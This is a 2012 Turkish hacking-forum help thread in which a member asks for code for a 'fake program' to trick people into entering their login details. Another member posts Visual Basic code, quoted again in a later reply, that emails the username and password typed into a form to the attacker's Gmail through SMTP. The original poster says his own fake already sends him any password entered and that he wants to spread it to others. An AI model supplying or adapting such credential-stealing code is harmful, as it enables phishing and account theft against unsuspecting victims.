THT DUYURU

 
 
THT Yardım Merkezi THT Yardım Merkezi bölümünden; teknoloji ve bilişim ile ilgili her konu için yardım isteyebilirsiniz.

Seçenekler

Hazır Fake Program Kodu Varsa Paylaşırmısınız ?

OnlineGameHacked - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
194
Konular:
43
Teşekkür (Etti):
159
Teşekkür (Aldı):
15
Ticaret:
(0) %
6
567
17-11-2012 20:24
#1
arkadaşlar fake program yapmak istiyorum server.exe olarak dosyaya kaydetsin millet yararlansın varsa verirmisiniz ? teşekkürümü eksik tutmicam
---------------------
Yakında Büyük Hacker Olacağım.
Bu Sözümü Unutmayın...
CMLYKL - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
04/2012
Mesajlar:
1.329
Konular:
243
Teşekkür (Etti):
113
Teşekkür (Aldı):
141
Ticaret:
(0) %
17-11-2012 20:26
#2
Visual basic ile yaparsın. Fake Facebook Güvenlik Programı gibi.
Fixicon - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
09/2012
Nereden:
Ankara
Mesajlar:
758
Konular:
59
Teşekkür (Etti):
23
Teşekkür (Aldı):
73
Ticaret:
(0) %
17-11-2012 20:33
#3
Buyur kodlar:vb

Kod:
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "Gmail Idnız" ' Gmail ID miz
Flds.Item(schema & "sendpassword") = "Gmail Şifremiz" ' Gmail Şifremiz
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "" ' Yine Gmail ıd
.From = "Keylogger" ' Kimden geldiği
.Subject = "Log Bilgi" ' Mail Konu Başlığı
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
--------------------- -----------------Tekrardan ve bomba gibi geldim.--------------------
OnlineGameHacked - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
194
Konular:
43
Teşekkür (Etti):
159
Teşekkür (Aldı):
15
Ticaret:
(0) %
17-11-2012 20:33
#4
Ya Zaten Yaptım Ben Onu Ama Mesela Fake Msn Oluşturma Program'ı
Mesela Adam G-Mail -Şifre Giricek Sonra Server.exe Olarak Klasöre Kaydedicek Adam Oradan Millete Yediricek Mesela Bak Benim Yaptığım Şöyle 1 Şey
Tıkla Fake'mi Gör
Hee İçinde Virüs'De yok Merak Etme Sadece Şifre Yazınca Ne Olursa Olsun Bana Gönderiyor
Ama Millete Yardımcı Olmak İçin Kod Arıyorum (:
---------------------
Yakında Büyük Hacker Olacağım.
Bu Sözümü Unutmayın...
Fixicon - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
09/2012
Nereden:
Ankara
Mesajlar:
758
Konular:
59
Teşekkür (Etti):
23
Teşekkür (Aldı):
73
Ticaret:
(0) %
17-11-2012 20:36
#5
Tamam anladım
--------------------- -----------------Tekrardan ve bomba gibi geldim.--------------------
OnlineGameHacked - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
194
Konular:
43
Teşekkür (Etti):
159
Teşekkür (Aldı):
15
Ticaret:
(0) %
17-11-2012 20:38
#6
Alıntı:
Fixicon´isimli üyeden Alıntı Mesajı göster
Tamam anladım
team gelirmsin su kodu yaparmısın bnde ?
---------------------
Yakında Büyük Hacker Olacağım.
Bu Sözümü Unutmayın...
Shift-TR® - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
05/2012
Nereden:
Designer.psd
Mesajlar:
2.834
Konular:
494
Teşekkür (Etti):
1214
Teşekkür (Aldı):
1356
Ticaret:
(0) %
17-11-2012 21:25
#7
Alıntı:
Fixicon´isimli üyeden Alıntı Mesajı göster
Buyur kodlar:vb

Kod:
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "Gmail Idnız" ' Gmail ID miz
Flds.Item(schema & "sendpassword") = "Gmail Şifremiz" ' Gmail Şifremiz
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "" ' Yine Gmail ıd
.From = "Keylogger" ' Kimden geldiği
.Subject = "Log Bilgi" ' Mail Konu Başlığı
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
Kardes senin verdiğin kod vb.net programlama diline ait.vb6 ile uyumlu değil.Haberiniz olsun..
--------------------- --

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler